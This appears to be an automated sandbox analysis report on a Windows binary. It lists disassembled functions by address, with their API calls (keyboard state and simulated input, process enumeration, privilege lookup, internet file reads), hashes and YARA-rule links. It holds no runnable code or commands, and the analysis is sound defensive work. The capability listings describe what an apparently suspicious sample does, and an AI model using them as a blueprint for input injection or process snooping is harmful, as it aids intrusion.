Opcode ID: da0ec6cec4abd5f74d9f38d2eb0f3b97c5e9606d3a620864f2facee6f2e22efb
Instruction ID: 95d0c7fba1dde2e6d1368b1d4eac4a822123279f43d57f825d310280ca043c88
Opcode Fuzzy Hash: da0ec6cec4abd5f74d9f38d2eb0f3b97c5e9606d3a620864f2facee6f2e22efb
Instruction Fuzzy Hash: DA414E35610610DFCB11EF55C644A5EBBF2EF89724B198889E84BAB362CB30FD41DB91

Function 00A9D8C3 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,8BE85006,00A86D71,00000000,00000000,00A882D9,?,00A882D9,?,00000001,00A86D71,8BE85006,00000001,00A882D9,00A882D9), ref: 00A9D910
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00A9D999
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00A9D9AB
__freea.LIBCMT ref: 00A9D9B4

Part of subcall function 00A93820: RtlAllocateHeap.NTDLL(00000000,?,00B31444,?,00A7FDF5,?,?,00A6A976,00000010,00B31440,00A613FC,?,00A613C6,?,00A61129), ref: 00A93852

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 51627846c8dfcaadb66eaa8aeb8e3b91b75932b1b28ac84bb0baea0fed90d2c6
Instruction ID: 7f169aa9d19cdafe827bd1d5bc5a0f0e5d5feb86f1cd72775d9f1823fd599128
Opcode Fuzzy Hash: 51627846c8dfcaadb66eaa8aeb8e3b91b75932b1b28ac84bb0baea0fed90d2c6
Instruction Fuzzy Hash: 0431BE72A0020AABDF24EFA5DD41EAE7BE5EB40310B054269FC04D7291EB35CDA5CB90

Function 00AF52C1 Relevance: 6.1, APIs: 4, Instructions: 104windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001024,00000000,?), ref: 00AF5352
GetWindowLongW.USER32(?,000000F0), ref: 00AF5375
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00AF5382
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00AF53A8

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: LongWindow$InvalidateMessageRectSend
String ID:
API String ID: 3340791633-0
Opcode ID: 6b1d9ee7119e96cfa776e7d7a05562eca6bb037123b3922cf5ff93bdd18ed0cf
Instruction ID: 3e5b44d92dcaa7203870cc5cdf9c337a5ebb979af655559080fd8548890e03b3
Opcode Fuzzy Hash: 6b1d9ee7119e96cfa776e7d7a05562eca6bb037123b3922cf5ff93bdd18ed0cf
Instruction Fuzzy Hash: 39319034E55A0CAFEB249BACCC25BF87765AB05390F584201BB509A1E1C7B49941EB42

Function 00ACAB9C Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75A8C0D0,?,00008000), ref: 00ACABF1
SetKeyboardState.USER32(00000080,?,00008000), ref: 00ACAC0D
PostMessageW.USER32(00000000,00000101,00000000), ref: 00ACAC74
SendInput.USER32(00000001,?,0000001C,75A8C0D0,?,00008000), ref: 00ACACC6

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 1a097f044c373c365c86c2791e08cf240189cd466f3e274e2402bd38426637e2
Instruction ID: 8c7fc52b81beaadcfdffa8df82ec9d3f5efd60bfc55a0176ac9df3a46f2f8303
Opcode Fuzzy Hash: 1a097f044c373c365c86c2791e08cf240189cd466f3e274e2402bd38426637e2
Instruction Fuzzy Hash: 13312830A4831CAFEF34CBE98C08FFA7BB5AB65328F05421EE485921D1C37589858752

Function 00AF7674 Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00AF769A
GetWindowRect.USER32(?,?), ref: 00AF7710
PtInRect.USER32(?,?,00AF8B89), ref: 00AF7720
MessageBeep.USER32(00000000), ref: 00AF778C

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 9e29727d6d8217f94e5ab3655cad880b5d2b2d1f125baaedb54064a2426c3a11
Instruction ID: e049042a2dbb45fc5999d5c033b9d4860e68f65804ff260961c6c5c807114ac9
Opcode Fuzzy Hash: 9e29727d6d8217f94e5ab3655cad880b5d2b2d1f125baaedb54064a2426c3a11
Instruction Fuzzy Hash: A4417834A19218DFCB01EFD9C994EBDB7F5BB49314F2941A8FA149B261C730E942CB90

Function 00AF16DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00AF16EB

Part of subcall function 00AC3A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00AC3A57
Part of subcall function 00AC3A3D: GetCurrentThreadId.KERNEL32 ref: 00AC3A5E
Part of subcall function 00AC3A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00AC25B3), ref: 00AC3A65

GetCaretPos.USER32(?), ref: 00AF16FF
ClientToScreen.USER32(00000000,?), ref: 00AF174C
GetForegroundWindow.USER32 ref: 00AF1752

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: da5c2184aad78602163c4f4a7a64aa683300d2fe8d1d3642db5cb787deb0b75d
Instruction ID: 6157f98726384b64727b97da262610744e3d666bc790c6867b67ab585cabb3a7
Opcode Fuzzy Hash: da5c2184aad78602163c4f4a7a64aa683300d2fe8d1d3642db5cb787deb0b75d
Instruction Fuzzy Hash: CE313E75D00249AFCB04EFAAC981DBEBBF9EF48314B5080AAE555E7211D6319E45CFA0

Function 00ACD4DC Relevance: 6.1, APIs: 4, Instructions: 86processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00ACD501
Process32FirstW.KERNEL32(00000000,?), ref: 00ACD50F
Process32NextW.KERNEL32(00000000,?), ref: 00ACD52F
CloseHandle.KERNEL32(00000000), ref: 00ACD5DC

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 4ac64651c0c8d95fb6af003167c751a3db741f4305f5f0f2fcc209b4b70a0fc6
Instruction ID: 9d34dd65d6a3e6ce467bba4d65186720b6ea78cb59507cb0762a7a4cd29d981f
Opcode Fuzzy Hash: 4ac64651c0c8d95fb6af003167c751a3db741f4305f5f0f2fcc209b4b70a0fc6
Instruction Fuzzy Hash: 44317C721082049FD300EFA4C985EAFBBF8AF99354F14092DF585961A1EB719949CBA2

Function 00AF8FC9 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A79BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00A79BB2

GetCursorPos.USER32(?), ref: 00AF9001
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,00AB7711,?,?,?,?,?), ref: 00AF9016
GetCursorPos.USER32(?), ref: 00AF905E
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,00AB7711,?,?,?), ref: 00AF9094

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 773ba6623bdc748be4bd173f908cec7643f54275a2d127bb328d7ffe4f2743bb
Instruction ID: 11fb2b10b2ac911b33028854f44f527b622393b61d5feafd758c9c7c402ed478
Opcode Fuzzy Hash: 773ba6623bdc748be4bd173f908cec7643f54275a2d127bb328d7ffe4f2743bb
Instruction Fuzzy Hash: E921483560001CAFDB258FE9C858FFB7BB9EB89360F144165FA058B2A1CB319991DB61

Function 00ACD2C1 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00AFCB68), ref: 00ACD2FB
GetLastError.KERNEL32 ref: 00ACD30A
CreateDirectoryW.KERNEL32(?,00000000), ref: 00ACD319
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00AFCB68), ref: 00ACD376

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 2c62dce2ff47fe73f6b9dcacb8464f35b443b33274df68d0b98236edbfc5c6f1
Instruction ID: 1656cf0b29d3402f550d4029169ebe3c5483300d112c921a7997aee9f3a5c2f0
Opcode Fuzzy Hash: 2c62dce2ff47fe73f6b9dcacb8464f35b443b33274df68d0b98236edbfc5c6f1
Instruction Fuzzy Hash: 0921A3745042059FC700EF64CA819ABB7E8EE55364F114A2EF499DB3A1E730D946CB93

Function 00AC1571 Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00AC1014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00AC102A
Part of subcall function 00AC1014: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00AC1036
Part of subcall function 00AC1014: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00AC1045
Part of subcall function 00AC1014: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00AC104C
Part of subcall function 00AC1014: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00AC1062

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00AC15BE
_memcmp.LIBVCRUNTIME ref: 00AC15E1
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00AC1617
HeapFree.KERNEL32(00000000), ref: 00AC161E

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 2e81c98dae03bc3c930d138f342473e7812e1777877add05df58eaba4ea55a26
Instruction ID: a5157841060f2adf615e929d44e2f6caeec91ce02d37e232b7b6290b8483ef7f
Opcode Fuzzy Hash: 2e81c98dae03bc3c930d138f342473e7812e1777877add05df58eaba4ea55a26
Instruction Fuzzy Hash: CD219A71E00108EFDF00DFA5CA45FEEB7B8EF46354F1A4459E441AB242E730AA05DBA0

Function 00AF2782 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EC), ref: 00AF280A
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00AF2824
SetWindowLongW.USER32(?,000000EC,00000000), ref: 00AF2832
SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00AF2840

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Window$Long$AttributesLayered
String ID:
API String ID: 2169480361-0
Opcode ID: ce5c6d9b53a2efeab1295c8e26f2dfd29bcab4d329de5e7392f377b03043a0c8
Instruction ID: 7d17ade289fe99185dfda28be14f448fe628f528b49a9aafad85f6a2596372b4
Opcode Fuzzy Hash: ce5c6d9b53a2efeab1295c8e26f2dfd29bcab4d329de5e7392f377b03043a0c8
Instruction Fuzzy Hash: 1321B031205519AFD714EBA4C944FBA7BA5AF45324F148158F5268B6E2C771EC82C7D0

Function 00ADCE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 00ADCE89
GetLastError.KERNEL32(?,00000000), ref: 00ADCEEA
SetEvent.KERNEL32(?,?,00000000), ref: 00ADCEFE

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: 5359d71f855288a7a54c29e32c627306a025ef656808124dd5d4473f1b9717b0
Instruction ID: 4a03e2810ac95ea26cebf6af17c316b19d15381402d44c6132c6e2ce29d27b6c
Opcode Fuzzy Hash: 5359d71f855288a7a54c29e32c627306a025ef656808124dd5d4473f1b9717b0
Instruction Fuzzy Hash: 4021AFB1500306ABDB20DFA6CA49BA7B7FCEB40364F50441EE546D2251EB70EE05DB50

Function 00AC78F5 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00AC8D7D: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,00AC790A,?,000000FF,?,00AC8754,00000000,?,0000001C,?,?), ref: 00AC8D8C
Part of subcall function 00AC8D7D: lstrcpyW.KERNEL32(00000000,?,?,00AC790A,?,000000FF,?,00AC8754,00000000,?,0000001C,?,?,00000000), ref: 00AC8DB2
Part of subcall function 00AC8D7D: lstrcmpiW.KERNEL32(00000000,?,00AC790A,?,000000FF,?,00AC8754,00000000,?,0000001C,?,?), ref: 00AC8DE3

lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,00AC8754,00000000,?,0000001C,?,?,00000000), ref: 00AC7923
lstrcpyW.KERNEL32(00000000,?,?,00AC8754,00000000,?,0000001C,?,?,00000000), ref: 00AC7949
lstrcmpiW.KERNEL32(00000002,cdecl,?,00AC8754,00000000,?,0000001C,?,?,00000000), ref: 00AC7984

Strings

cdecl, xrefs: 00AC797B

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 2e4ac7b9e1315e4ec0adc88484426fbb8551b16cb23f0ec3e488b8c0b044dcff
Instruction ID: 4ad58bc4047e9365235e3c157e7ecbc0a25ec2c236eecfe90a5702c013011d08
Opcode Fuzzy Hash: 2e4ac7b9e1315e4ec0adc88484426fbb8551b16cb23f0ec3e488b8c0b044dcff
Instruction Fuzzy Hash: 4B11D63A200205AFCB159F75DC45E7A77E5FF45360B51802EF946C7264EB319911CB61

Function 00AF7CC2 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 00AF7D0B
SetWindowLongW.USER32(00000000,000000F0,?), ref: 00AF7D2A
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 00AF7D42
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00ADB7AD,00000000), ref: 00AF7D6B

Part of subcall function 00A79BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00A79BB2

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Window$Long
String ID:
API String ID: 847901565-0
Opcode ID: 34d4921a7fe04fec5dd90c8c4903ecc6502eebabb458ce252c5e5d59f5823d4d
Instruction ID: d1d3d76d7de9c3962fb1d6092ed643e8cfeb20dc64cede4afba7d812ef8ef53a
Opcode Fuzzy Hash: 34d4921a7fe04fec5dd90c8c4903ecc6502eebabb458ce252c5e5d59f5823d4d
Instruction Fuzzy Hash: 0F11A231504619AFCB109FA9CC04ABA3BA9AF453B0B658724F939C72F0D7309952CB50

Function 00AF5660 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001060,?,00000004), ref: 00AF56BB
_wcslen.LIBCMT ref: 00AF56CD
_wcslen.LIBCMT ref: 00AF56D8
SendMessageW.USER32(?,00001002,00000000,?), ref: 00AF5816

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageSend_wcslen
String ID:
API String ID: 455545452-0
Opcode ID: f682680dbecd84db433f2a4d9b3358a13ffd7651d0465edf20b24221a1715e5b
Instruction ID: 8b9ee99cfa0c1ba4792be8f14c116dbc29e44694a615016fca65e942380f0d5d
Opcode Fuzzy Hash: f682680dbecd84db433f2a4d9b3358a13ffd7651d0465edf20b24221a1715e5b
Instruction Fuzzy Hash: DF11B171E0060C96DB20DFF58C85AFE77BCEF11761B10842AFB15D6081EBB48A80CBA0

Function 00A91D09 Relevance: 6.1, APIs: 4, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d418dfd96b0ade4693eb5d462ea8f74abea1f84643d711795f042419bce7d77a
Instruction ID: 70fa7bb8f8847a27343328c9b18b1f7d020cd666bd4d433ea343bd2aae2bac76
Opcode Fuzzy Hash: d418dfd96b0ade4693eb5d462ea8f74abea1f84643d711795f042419bce7d77a
Instruction Fuzzy Hash: 0E014BB230961B7EFE2166B86CC1F6766EDDF817B8B340325F521A11D2DB609C419160

Function 00AC1A27 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00AC1A47
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00AC1A59
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00AC1A6F
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00AC1A8A

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 757906eea828f1f69f9cfc41e3a6fc399f3c688c6f2288316d63836caf8a9696
Instruction ID: 13dd92b6f3eb4b479fbf7090c9556c884da8fb0e66840736960433f0f10c1fd5
Opcode Fuzzy Hash: 757906eea828f1f69f9cfc41e3a6fc399f3c688c6f2288316d63836caf8a9696
Instruction Fuzzy Hash: D811393AE01219FFEB10DBA5CD85FADBB78EB08750F210095EA00B7290D6716E50DB94

Function 00ACE1D6 Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00ACE1FD
MessageBoxW.USER32(?,?,?,?), ref: 00ACE230
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00ACE246
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00ACE24D

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
